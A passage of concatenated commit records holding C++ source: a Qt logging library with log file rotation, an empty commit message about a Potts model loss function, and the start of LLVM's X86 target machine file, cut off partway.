ENABLED_SQTL_LOG_SINK_QDEBUG > 0\n  QObject::connect(this, SIGNAL(signalLog(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)),\n    this, SLOT(slotLog_qDebug(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)), connectionType);\n#endif\n}\n\nSimpleQtLogger::~SimpleQtLogger()\n{\n  qDebug(\"SimpleQtLogger::~SimpleQtLogger\");\n\n  \/\/ check close log file\n  if(_logFile) {\n    if(_logFile->isOpen()) {\n      _logFile->close();\n    }\n    delete _logFile;\n    _logFile = 0;\n  }\n}\n\nvoid SimpleQtLogger::setLogFileName(const QString& logFileName, unsigned int logFileRotationSize, unsigned int logFileMaxNumber)\n{\n  qDebug(\"SimpleQtLogger::setLogFileName\");\n\n  \/\/ check valid log-file name ending\n  if(logFileName.right(4) != \".log\") {\n    qWarning() << \"Name of log-file not ending with '.log'\" << logFileName;\n    return;\n  }\n\n  _logFileName = logFileName;\n  _logFileRotationSize = logFileRotationSize;\n  _logFileMaxNumber = logFileMaxNumber;\n\n  \/\/ check valid number ranges\n  if(_logFileRotationSize < 100) {\n    _logFileRotationSize = 100;\n  }\n  if(_logFileMaxNumber < 1) {\n    _logFileMaxNumber = 1;\n  }\n  if(_logFileMaxNumber > 99) {\n    _logFileMaxNumber = 99;\n  }\n\n  checkLogFileOpen();\n\n  log(\"Start logger\", SQTL_LOG_INFO, \"\", \"\", 0);\n}\n\nvoid SimpleQtLogger::log(const QString& text, SQTL_LOG_Level level, const QString& functionName, const char* fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::log\");\n\n  \/\/ time-stamp\n  QDateTime dateTime = QDateTime::currentDateTime(); \/\/ or better use QDateTime::currentDateTimeUtc() instead\n  QString ts = dateTime.toString(\"yyyy-MM-dd hh:mm:ss.zzz\");\n\n  emit signalLog(ts, text, level, functionName, fileName, lineNumber);\n}\n\nvoid SimpleQtLogger::slotLog_File(const QString& ts, const QString& text, SQTL_LOG_Level level, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotLog_File\");\n\n  if(functionName.isEmpty()) {\n    \/\/ stream (append) to log file\n    if(_logFile && _logFile->isOpen()) {\n      QTextStream out(_logFile);\n      out << ts << \" [\" << LOG_LEVEL_CHAR[level] << \"] \" << (text.isEmpty() ? \"?\" : text.trimmed()) << '\\n';\n      _logFileActivity = true;\n    }\n    return;\n  }\n\n  \/\/ stream (append) to log file\n  if(_logFile && _logFile->isOpen()) {\n    QTextStream out(_logFile);\n    out << ts << \" [\" << LOG_LEVEL_CHAR[level] << \"] \" << (text.isEmpty() ? \"?\" : text.trimmed()) << \" (\" << functionName << \"@\" << fileName << \":\" << lineNumber << \")\" << '\\n';\n    _logFileActivity = true;\n  }\n}\n\nvoid SimpleQtLogger::slotLog_qDebug(const QString& ts, const QString& text, SQTL_LOG_Level level, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotLog_qDebug\");\n\n  if(functionName.isEmpty()) {\n    qDebug(\"%s\", QString(\"%1 [%2] %3\").arg(ts).arg(LOG_LEVEL_CHAR[level]).arg(text.isEmpty() ? \"?\" : text.trimmed()).toStdString().c_str());\n    return;\n  }\n\n  qDebug(\"%s\", QString(\"%1 [%2] %3 (%4@%5:%6)\").arg(ts).arg(LOG_LEVEL_CHAR[level]).arg(text.isEmpty() ? \"?\" : text.trimmed()).arg(functionName).arg(fileName).arg(lineNumber).toStdString().c_str());\n}\n\n#if ENABLED_SQTL_LOG_FUNCTION > 0\n\nvoid SimpleQtLogger::logFuncBegin(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::logFuncBegin\");\n\n  _stackDepth++; \/\/ adjust stack-trace depth\n\n  QString stackDepth(\"\");\n  for(unsigned int i=1; i<_stackDepth; ++i) {\n    stackDepth += STACK_DEPTH_CHAR;\n  }\n  if(text.isEmpty()) {\n    log(QString(\"%1\\\\\").arg(stackDepth), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n  else {\n    log(QString(\"%1\\\\ %2\").arg(stackDepth).arg(text), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n}\n\nvoid SimpleQtLogger::logFuncEnd(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::logFuncEnd\");\n\n  QString stackDepth(\"\");\n  for(unsigned int i=1; i<_stackDepth; ++i) {\n    stackDepth += STACK_DEPTH_CHAR;\n  }\n  if(text.isEmpty()) {\n    log(QString(\"%1\/\").arg(stackDepth), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n  else {\n    log(QString(\"%1\/ %2\").arg(stackDepth).arg(text), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n\n  _stackDepth--; \/\/ adjust stack-trace depth\n}\n\n#endif\n\nvoid SimpleQtLogger::checkLogFileOpen()\n{\n  \/\/ qDebug(\"SimpleQtLogger::checkLogFileOpen\");\n\n  \/\/ check close and open log file\n  if(_logFile) {\n    if(_logFile->isOpen()) {\n      _logFile->close();\n    }\n    delete _logFile;\n  }\n\n  \/\/ open log-file\n  _logFile = new QFile(_logFileName);\n  if(!_logFile->open(QIODevice::WriteOnly | QIODevice::Append | QIODevice::Text)) {\n    delete _logFile;\n    _logFile = 0;\n    qWarning() << \"Open log-file failed!\" << _logFileName;\n  }\n\n  if(!_logFile) {\n    return;\n  }\n\n  qDebug() << \"Current log-file:\" << _logFileName;\n\n  QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n}\n\nvoid SimpleQtLogger::checkLogFileRolling()\n{\n  \/\/ qDebug(\"SimpleQtLogger::checkLogFileRolling\");\n\n  if(!_logFile) {\n    return;\n  }\n\n  \/\/ check current log-file size\n  QFileInfo logFileInfo(*_logFile);\n  qint64 logFileRotationSize = logFileInfo.size();\n\n  if(logFileRotationSize < _logFileRotationSize) {\n    QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n    return;\n  }\n  log(QString(\"Current log-file size=%1 (rolling-size=%2) --> rolling\").arg(logFileRotationSize).arg(_logFileRotationSize), SQTL_LOG_INFO, \"\", \"\", 0);\n\n  \/\/ handle file rolling\n\n  \/\/ delete last file\n  QString logFileName = _logFileName;\n  logFileName.replace(\".log\", QString(\"_%1.log\").arg(_logFileMaxNumber, 2, 10, QLatin1Char('0')));\n  if(QFile::exists(logFileName)) {\n    if(QFile::remove(logFileName)) {\n      qDebug() << \"Removed\" << logFileName;\n    }\n    else {\n      qWarning() << \"ERROR: Remove\" << logFileName;\n    }\n  }\n\n  \/\/ rolling files\n  for(int i=_logFileMaxNumber-1; i>0; --i) {\n    QString logFileNameFrom = _logFileName;\n    logFileNameFrom.replace(\".log\", QString(\"_%1.log\").arg(i, 2, 10, QLatin1Char('0')));\n    QString logFileNameTo = _logFileName;\n    logFileNameTo.replace(\".log\", QString(\"_%1.log\").arg(i+1, 2, 10, QLatin1Char('0')));\n    if(QFile::exists(logFileNameFrom)) {\n      if(QFile::rename(logFileNameFrom, logFileNameTo)) {\n        qDebug() << \"Moved\" << logFileNameFrom << \"to\" << logFileNameTo;\n      }\n      else {\n        qWarning() << \"ERROR: Move\" << logFileNameFrom << \"to\" << logFileNameTo;\n      }\n    }\n  }\n\n  _logFile->close();\n\n  \/\/ move first file\n  QString logFileNameTo = _logFileName;\n  logFileNameTo.replace(\".log\", QString(\"_%1.log\").arg(1, 2, 10, QLatin1Char('0')));\n  if(QFile::exists(_logFileName)) {\n    if(QFile::rename(_logFileName, logFileNameTo)) {\n      qDebug() << \"Moved\" << _logFileName << \"to\" << logFileNameTo;\n    }\n    else {\n      qWarning() << \"ERROR: Move\" << _logFileName << \"to\" << logFileNameTo;\n    }\n  }\n\n  checkLogFileOpen();\n}\n\nvoid SimpleQtLogger::slotCheckLogFileActivity()\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotCheckLogFileActivity\");\n\n  if(!_logFile) {\n    return;\n  }\n\n  if(_logFileActivity) {\n    _logFileActivity = false;\n    checkLogFileRolling();\n    return;\n  }\n\n  QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n}\n\n\/\/ -------------------------------------------------------------------------------------------------\n\n#if ENABLED_SQTL_LOG_FUNCTION > 0\n\nSimpleQtLoggerFunc::SimpleQtLoggerFunc(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n  : _text(text)\n  , _functionName(functionName)\n  , _fileName(fileName)\n  , _lineNumber(lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLoggerFunc::SimpleQtLoggerFunc\");\n  if(ENABLED_SQTL_LOG_FUNCTION && SQTL_LOG_ENABLE_FUNCTION) simpleQtLogger_.logFuncBegin(_text, _functionName, _fileName, _lineNumber);\n}\n\nSimpleQtLoggerFunc::~SimpleQtLoggerFunc()\n{\n  \/\/ qDebug(\"SimpleQtLoggerFunc::~SimpleQtLoggerFunc\");\n  if(ENABLED_SQTL_LOG_FUNCTION && SQTL_LOG_ENABLE_FUNCTION) simpleQtLogger_.logFuncEnd(_text, _functionName, _fileName, _lineNumber);\n}\n\n#endif\n<commit_msg>Clean-up<commit_after>\/*\n  Simple Logger for Qt\n\n  Mario Ban, 05.2015\n\n  GNU General Public License v2.0\n  Copyright (C) 2015 Mario Ban\n*\/\n\n#include \"simpleQtLogger.h\"\n\n#include <QCoreApplication>\n#include <QTimer>\n#include <QDateTime>\n#include <QFileInfo>\n#include <QtDebug>\n\n\/* Log-level *\/\nbool SQTL_LOG_ENABLE_FATAL = true;\nbool SQTL_LOG_ENABLE_ERROR = true;\nbool SQTL_LOG_ENABLE_WARNING = true;\nbool SQTL_LOG_ENABLE_INFO = true;\nbool SQTL_LOG_ENABLE_DEBUG = false;\nbool SQTL_LOG_ENABLE_FUNCTION = false;\n\n\/\/ -------------------------------------------------------------------------------------------------\n\nSimpleQtLogger::SimpleQtLogger(QObject *parent)\n  : QObject(parent)\n  , _logFileRotationSize(0)\n  , _logFileMaxNumber(0)\n  , _stackDepth(0)\n  , _logFile(0)\n  , _logFileActivity(false)\n{\n  qDebug(\"SimpleQtLogger::SimpleQtLogger\");\n\n  Qt::ConnectionType connectionType = Qt::DirectConnection;\n#if ENABLED_SQTL_LOG_SINK_FILE > 0\n  QObject::connect(this, SIGNAL(signalLog(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)),\n    this, SLOT(slotLog_File(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)), connectionType);\n#endif\n#if ENABLED_SQTL_LOG_SINK_QDEBUG > 0\n  QObject::connect(this, SIGNAL(signalLog(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)),\n    this, SLOT(slotLog_qDebug(const QString&, const QString&, SQTL_LOG_Level, const QString&, const QString&, unsigned int)), connectionType);\n#endif\n}\n\nSimpleQtLogger::~SimpleQtLogger()\n{\n  qDebug(\"SimpleQtLogger::~SimpleQtLogger\");\n\n  \/\/ check close log file\n  if(_logFile) {\n    if(_logFile->isOpen()) {\n      _logFile->close();\n    }\n    delete _logFile;\n    _logFile = 0;\n  }\n}\n\nvoid SimpleQtLogger::setLogFileName(const QString& logFileName, unsigned int logFileRotationSize, unsigned int logFileMaxNumber)\n{\n  qDebug(\"SimpleQtLogger::setLogFileName\");\n\n  \/\/ check valid log-file name ending\n  if(logFileName.right(4) != \".log\") {\n    qWarning() << \"Name of log-file not ending with '.log'\" << logFileName;\n    return;\n  }\n\n  _logFileName = logFileName;\n  _logFileRotationSize = logFileRotationSize;\n  _logFileMaxNumber = logFileMaxNumber;\n\n  \/\/ check valid number ranges\n  if(_logFileRotationSize < 100) {\n    _logFileRotationSize = 100;\n  }\n  if(_logFileMaxNumber < 1) {\n    _logFileMaxNumber = 1;\n  }\n  if(_logFileMaxNumber > 99) {\n    _logFileMaxNumber = 99;\n  }\n\n  checkLogFileOpen();\n\n  log(\"Start logger\", SQTL_LOG_INFO, \"\", \"\", 0);\n}\n\nvoid SimpleQtLogger::log(const QString& text, SQTL_LOG_Level level, const QString& functionName, const char* fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::log\");\n\n  \/\/ time-stamp\n  QDateTime dateTime = QDateTime::currentDateTime(); \/\/ or better use QDateTime::currentDateTimeUtc() instead\n  QString ts = dateTime.toString(\"yyyy-MM-dd hh:mm:ss.zzz\");\n\n  emit signalLog(ts, text, level, functionName, fileName, lineNumber);\n}\n\nvoid SimpleQtLogger::slotLog_File(const QString& ts, const QString& text, SQTL_LOG_Level level, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotLog_File\");\n\n  if(functionName.isEmpty()) {\n    \/\/ stream (append) to log file\n    if(_logFile && _logFile->isOpen()) {\n      QTextStream out(_logFile);\n      out << ts << \" [\" << LOG_LEVEL_CHAR[level] << \"] \" << (text.isEmpty() ? \"?\" : text.trimmed()) << '\\n';\n      _logFileActivity = true;\n    }\n    return;\n  }\n\n  \/\/ stream (append) to log file\n  if(_logFile && _logFile->isOpen()) {\n    QTextStream out(_logFile);\n    out << ts << \" [\" << LOG_LEVEL_CHAR[level] << \"] \" << (text.isEmpty() ? \"?\" : text.trimmed()) << \" (\" << functionName << \"@\" << fileName << \":\" << lineNumber << \")\" << '\\n';\n    _logFileActivity = true;\n  }\n}\n\nvoid SimpleQtLogger::slotLog_qDebug(const QString& ts, const QString& text, SQTL_LOG_Level level, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotLog_qDebug\");\n\n  if(functionName.isEmpty()) {\n    qDebug(\"%s\", QString(\"%1 [%2] %3\").arg(ts).arg(LOG_LEVEL_CHAR[level]).arg(text.isEmpty() ? \"?\" : text.trimmed()).toStdString().c_str());\n    return;\n  }\n\n  qDebug(\"%s\", QString(\"%1 [%2] %3 (%4@%5:%6)\").arg(ts).arg(LOG_LEVEL_CHAR[level]).arg(text.isEmpty() ? \"?\" : text.trimmed()).arg(functionName).arg(fileName).arg(lineNumber).toStdString().c_str());\n}\n\n#if ENABLED_SQTL_LOG_FUNCTION > 0\n\nvoid SimpleQtLogger::logFuncBegin(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::logFuncBegin\");\n\n  _stackDepth++; \/\/ adjust stack-trace depth\n\n  QString stackDepth(\"\");\n  for(unsigned int i=1; i<_stackDepth; ++i) {\n    stackDepth += STACK_DEPTH_CHAR;\n  }\n  if(text.isEmpty()) {\n    log(QString(\"%1\\\\\").arg(stackDepth), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n  else {\n    log(QString(\"%1\\\\ %2\").arg(stackDepth).arg(text), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n}\n\nvoid SimpleQtLogger::logFuncEnd(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLogger::logFuncEnd\");\n\n  QString stackDepth(\"\");\n  for(unsigned int i=1; i<_stackDepth; ++i) {\n    stackDepth += STACK_DEPTH_CHAR;\n  }\n  if(text.isEmpty()) {\n    log(QString(\"%1\/\").arg(stackDepth), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n  else {\n    log(QString(\"%1\/ %2\").arg(stackDepth).arg(text), SQTL_LOG_FUNCTION, functionName, fileName.toStdString().c_str(), lineNumber);\n  }\n\n  _stackDepth--; \/\/ adjust stack-trace depth\n}\n\n#endif\n\nvoid SimpleQtLogger::checkLogFileOpen()\n{\n  \/\/ qDebug(\"SimpleQtLogger::checkLogFileOpen\");\n\n  \/\/ check close and open log file\n  if(_logFile) {\n    if(_logFile->isOpen()) {\n      _logFile->close();\n    }\n    delete _logFile;\n  }\n\n  \/\/ open log-file\n  _logFile = new QFile(_logFileName);\n  if(!_logFile->open(QIODevice::WriteOnly | QIODevice::Append | QIODevice::Text)) {\n    delete _logFile;\n    _logFile = 0;\n    qWarning() << \"Open log-file failed!\" << _logFileName;\n  }\n\n  if(!_logFile) {\n    return;\n  }\n\n  qDebug() << \"Current log-file:\" << _logFileName;\n\n  QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n}\n\nvoid SimpleQtLogger::checkLogFileRolling()\n{\n  \/\/ qDebug(\"SimpleQtLogger::checkLogFileRolling\");\n\n  if(!_logFile) {\n    return;\n  }\n\n  \/\/ check current log-file size\n  QFileInfo logFileInfo(*_logFile);\n  qint64 logFileRotationSize = logFileInfo.size();\n\n  if(logFileRotationSize < _logFileRotationSize) {\n    QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n    return;\n  }\n  log(QString(\"Current log-file size=%1 (rotation-size=%2) --> rolling\").arg(logFileRotationSize).arg(_logFileRotationSize), SQTL_LOG_INFO, \"\", \"\", 0);\n\n  \/\/ handle file rolling\n\n  \/\/ delete last file\n  QString logFileName = _logFileName;\n  logFileName.replace(\".log\", QString(\"_%1.log\").arg(_logFileMaxNumber, 2, 10, QLatin1Char('0')));\n  if(QFile::exists(logFileName)) {\n    if(QFile::remove(logFileName)) {\n      qDebug() << \"Removed\" << logFileName;\n    }\n    else {\n      qWarning() << \"ERROR: Remove\" << logFileName;\n    }\n  }\n\n  \/\/ rolling files\n  for(int i=_logFileMaxNumber-1; i>0; --i) {\n    QString logFileNameFrom = _logFileName;\n    logFileNameFrom.replace(\".log\", QString(\"_%1.log\").arg(i, 2, 10, QLatin1Char('0')));\n    QString logFileNameTo = _logFileName;\n    logFileNameTo.replace(\".log\", QString(\"_%1.log\").arg(i+1, 2, 10, QLatin1Char('0')));\n    if(QFile::exists(logFileNameFrom)) {\n      if(QFile::rename(logFileNameFrom, logFileNameTo)) {\n        qDebug() << \"Moved\" << logFileNameFrom << \"to\" << logFileNameTo;\n      }\n      else {\n        qWarning() << \"ERROR: Move\" << logFileNameFrom << \"to\" << logFileNameTo;\n      }\n    }\n  }\n\n  _logFile->close();\n\n  \/\/ move first file\n  QString logFileNameTo = _logFileName;\n  logFileNameTo.replace(\".log\", QString(\"_%1.log\").arg(1, 2, 10, QLatin1Char('0')));\n  if(QFile::exists(_logFileName)) {\n    if(QFile::rename(_logFileName, logFileNameTo)) {\n      qDebug() << \"Moved\" << _logFileName << \"to\" << logFileNameTo;\n    }\n    else {\n      qWarning() << \"ERROR: Move\" << _logFileName << \"to\" << logFileNameTo;\n    }\n  }\n\n  checkLogFileOpen();\n}\n\nvoid SimpleQtLogger::slotCheckLogFileActivity()\n{\n  \/\/ qDebug(\"SimpleQtLogger::slotCheckLogFileActivity\");\n\n  if(!_logFile) {\n    return;\n  }\n\n  if(_logFileActivity) {\n    _logFileActivity = false;\n    checkLogFileRolling();\n    return;\n  }\n\n  QTimer::singleShot(CHECK_LOG_FILE_ACTIVITY_INTERVAL, this, SLOT(slotCheckLogFileActivity()));\n}\n\n\/\/ -------------------------------------------------------------------------------------------------\n\n#if ENABLED_SQTL_LOG_FUNCTION > 0\n\nSimpleQtLoggerFunc::SimpleQtLoggerFunc(const QString& text, const QString& functionName, const QString& fileName, unsigned int lineNumber)\n  : _text(text)\n  , _functionName(functionName)\n  , _fileName(fileName)\n  , _lineNumber(lineNumber)\n{\n  \/\/ qDebug(\"SimpleQtLoggerFunc::SimpleQtLoggerFunc\");\n  if(ENABLED_SQTL_LOG_FUNCTION && SQTL_LOG_ENABLE_FUNCTION) simpleQtLogger_.logFuncBegin(_text, _functionName, _fileName, _lineNumber);\n}\n\nSimpleQtLoggerFunc::~SimpleQtLoggerFunc()\n{\n  \/\/ qDebug(\"SimpleQtLoggerFunc::~SimpleQtLoggerFunc\");\n  if(ENABLED_SQTL_LOG_FUNCTION && SQTL_LOG_ENABLE_FUNCTION) simpleQtLogger_.logFuncEnd(_text, _functionName, _fileName, _lineNumber);\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Added constant potts model loss function, added alias for adaptive scale modularity.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===-- X86TargetMachine.cpp - Define TargetMachine for the X86 -----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the X86 specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86TargetMachine.h\"\n#include \"X86.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/PassManager.h\"\n#include \"llvm\/CodeGen\/IntrinsicLowering.h\"\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Target\/TargetMachineRegistry.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/ADT\/Statistic.h\"\nusing namespace llvm;\n\nX86VectorEnum llvm::X86Vector = NoSSE;\nbool llvm::X86ScalarSSE = false;\nbool llvm::X86DAGIsel = false;\n\n\/\/\/ X86TargetMachineModule - Note that this is used on hosts that cannot link\n\/\/\/ in a library unless there are references into the library.  In particular,\n\/\/\/ it seems that it is not possible to get things to work on Win32 without\n\/\/\/ this.  Though it is unused, do not remove it.\nextern \"C\" int X86TargetMachineModule;\nint X86TargetMachineModule = 0;\n\nnamespace {\n  cl::opt<bool> DisableOutput(\"disable-x86-llc-output\", cl::Hidden,\n                              cl::desc(\"Disable the X86 asm printer, for use \"\n                                       \"when profiling the code generator.\"));\n  cl::opt<bool, true> EnableSSEFP(\"enable-sse-scalar-fp\",\n                cl::desc(\"Perform FP math in SSE regs instead of the FP stack\"),\n                cl::location(X86ScalarSSE),\n                cl::init(false));\n\n  cl::opt<bool, true> EnableX86DAGDAG(\"enable-x86-dag-isel\", cl::Hidden,\n                      cl::desc(\"Enable DAG-to-DAG isel for X86\"),\n                      cl::location(X86DAGIsel),\n                      cl::init(true));\n  \n  \/\/ FIXME: This should eventually be handled with target triples and\n  \/\/ subtarget support!\n  cl::opt<X86VectorEnum, true>\n  SSEArg(\n    cl::desc(\"Enable SSE support in the X86 target:\"),\n    cl::values(\n       clEnumValN(SSE,  \"sse\", \"  Enable SSE support\"),\n       clEnumValN(SSE2, \"sse2\", \"  Enable SSE and SSE2 support\"),\n       clEnumValN(SSE3, \"sse3\", \"  Enable SSE, SSE2, and SSE3 support\"),\n       clEnumValEnd),\n    cl::location(X86Vector), cl::init(NoSSE));\n\n  \/\/ Register the target.\n  RegisterTarget<X86TargetMachine> X(\"x86\", \"  IA-32 (Pentium and above)\");\n}\n\nunsigned X86TargetMachine::getJITMatchQuality() {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n  return 10;\n#else\n  return 0;\n#endif\n}\n\nunsigned X86TargetMachine::getModuleMatchQuality(const Module &M) {\n  \/\/ We strongly match \"i[3-9]86-*\".\n  std::string TT = M.getTargetTriple();\n  if (TT.size() >= 5 && TT[0] == 'i' && TT[2] == '8' && TT[3] == '6' &&\n      TT[4] == '-' && TT[1] - '3' < 6)\n    return 20;\n\n  if (M.getEndianness()  == Module::LittleEndian &&\n      M.getPointerSize() == Module::Pointer32)\n    return 10;                                   \/\/ Weak match\n  else if (M.getEndianness() != Module::AnyEndianness ||\n           M.getPointerSize() != Module::AnyPointerSize)\n    return 0;                                    \/\/ Match for some other target\n\n  return getJITMatchQuality()\/2;\n}\n\n\/\/\/ X86TargetMachine ctor - Create an ILP32 architecture model\n\/\/\/\nX86TargetMachine::X86TargetMachine(const Module &M,\n                                  IntrinsicLowering *IL,\n                                  const std::string &FS)\n  : TargetMachine(\"X86\", IL, true, 4, 4, 4, 4, 4),\n    Subtarget(M, FS),\n    FrameInfo(TargetFrameInfo::StackGrowsDown,\n              Subtarget.getStackAlignment(), -4),\n    JITInfo(*this) {\n  \/\/ Scalar SSE FP requires at least SSE2\n  X86ScalarSSE &= X86Vector >= SSE2;\n\n  \/\/ Ignore -enable-sse-scalar-fp if -enable-x86-dag-isel.\n  X86ScalarSSE |= (X86DAGIsel && X86Vector >= SSE2);\n}\n\n\n\/\/ addPassesToEmitFile - We currently use all of the same passes as the JIT\n\/\/ does to emit statically compiled machine code.\nbool X86TargetMachine::addPassesToEmitFile(PassManager &PM, std::ostream &Out,\n                                           CodeGenFileType FileType,\n                                           bool Fast) {\n  if (FileType != TargetMachine::AssemblyFile &&\n      FileType != TargetMachine::ObjectFile) return true;\n\n  \/\/ FIXME: Implement efficient support for garbage collection intrinsics.\n  PM.add(createLowerGCPass());\n\n  \/\/ FIXME: Implement the invoke\/unwind instructions!\n  PM.add(createLowerInvokePass());\n\n  \/\/ FIXME: Implement the switch instruction in the instruction selector!\n  PM.add(createLowerSwitchPass());\n\n  \/\/ Make sure that no unreachable blocks are instruction selected.\n  PM.add(createUnreachableBlockEliminationPass());\n\n  \/\/ Install an instruction selector.\n  if (X86DAGIsel)\n    PM.add(createX86ISelDag(*this));\n  else\n    PM.add(createX86ISelPattern(*this));\n\n  \/\/ Print the instruction selected machine code...\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Perform register allocation to convert to a concrete x86 representation\n  PM.add(createRegisterAllocator());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  PM.add(createX86FloatingPointStackifierPass());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Insert prolog\/epilog code.  Eliminate abstract frame index references...\n  PM.add(createPrologEpilogCodeInserter());\n\n  PM.add(createX86PeepholeOptimizerPass());\n\n  if (PrintMachineCode)  \/\/ Print the register-allocated code\n    PM.add(createX86CodePrinterPass(std::cerr, *this));\n\n  if (!DisableOutput)\n    switch (FileType) {\n    default:\n      assert(0 && \"Unexpected filetype here!\");\n    case TargetMachine::AssemblyFile:\n      PM.add(createX86CodePrinterPass(Out, *this));\n      break;\n    case TargetMachine::ObjectFile:\n      \/\/ FIXME: We only support emission of ELF files for now, this should check\n      \/\/ the target triple and decide on the format to write (e.g. COFF on\n      \/\/ win32).\n      addX86ELFObjectWriterPass(PM, Out, *this);\n      break;\n    }\n\n  \/\/ Delete machine code for this function\n  PM.add(createMachineCodeDeleter());\n\n  return false; \/\/ success!\n}\n\n\/\/\/ addPassesToJITCompile - Add passes to the specified pass manager to\n\/\/\/ implement a fast dynamic compiler for this target.  Return true if this is\n\/\/\/ not supported for this target.\n\/\/\/\nvoid X86JITInfo::addPassesToJITCompile(FunctionPassManager &PM) {\n  \/\/ FIXME: Implement efficient support for garbage collection intrinsics.\n  PM.add(createLowerGCPass());\n\n  \/\/ FIXME: Implement the invoke\/unwind instructions!\n  PM.add(createLowerInvokePass());\n\n  \/\/ FIXME: Implement the switch instruction in the instruction selector!\n  PM.add(createLowerSwitchPass());\n\n  \/\/ Make sure that no unreachable blocks are instruction selected.\n  PM.add(createUnreachableBlockEliminationPass());\n\n  \/\/ Install an instruction selector.\n  if (X86DAGIsel)\n    PM.add(createX86ISelDag(TM));\n  else\n    PM.add(createX86ISelPattern(TM));\n\n  \/\/ FIXME: Add SSA based peephole optimizer here.\n\n  \/\/ Print the instruction selected machine code...\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Perform register allocation to convert to a concrete x86 representation\n  PM.add(createRegisterAllocator());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  PM.add(createX86FloatingPointStackifierPass());\n\n  if (PrintMachineCode)\n    PM.add(createMachineFunctionPrinterPass(&std::cerr));\n\n  \/\/ Insert prolog\/epilog code.  Eliminate abstract frame index references...\n  PM.add(createPrologEpilogCodeInserter());\n\n  PM.add(createX86PeepholeOptimizerPass());\n\n  if (PrintMachineCode)  \/\/ Print the register-allocated code\n    PM.add(createX86CodePrinterPass(std::cerr, TM));\n}\n\nbool X86TargetMachine::addPassesToEmitMachineCode(FunctionPassManager &PM,\n                                                  MachineCodeEmitter &MCE) {\n  PM.add(createX86CodeEmitterPass(MCE));\n  \/\/ Delete machine code for this function\n  PM.add(createMachineCodeDeleter());\n  return false;\n}\n<commit_msg>Didn't mean to commit the last one.<commit_after>\/\/===-- X86TargetMachine.cpp - Define TargetMachine for the X86 -----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the X86 specific subclass of TargetMachine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86TargetMachine.h\"\n#include \"X86.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/PassManager.h\"\n#include 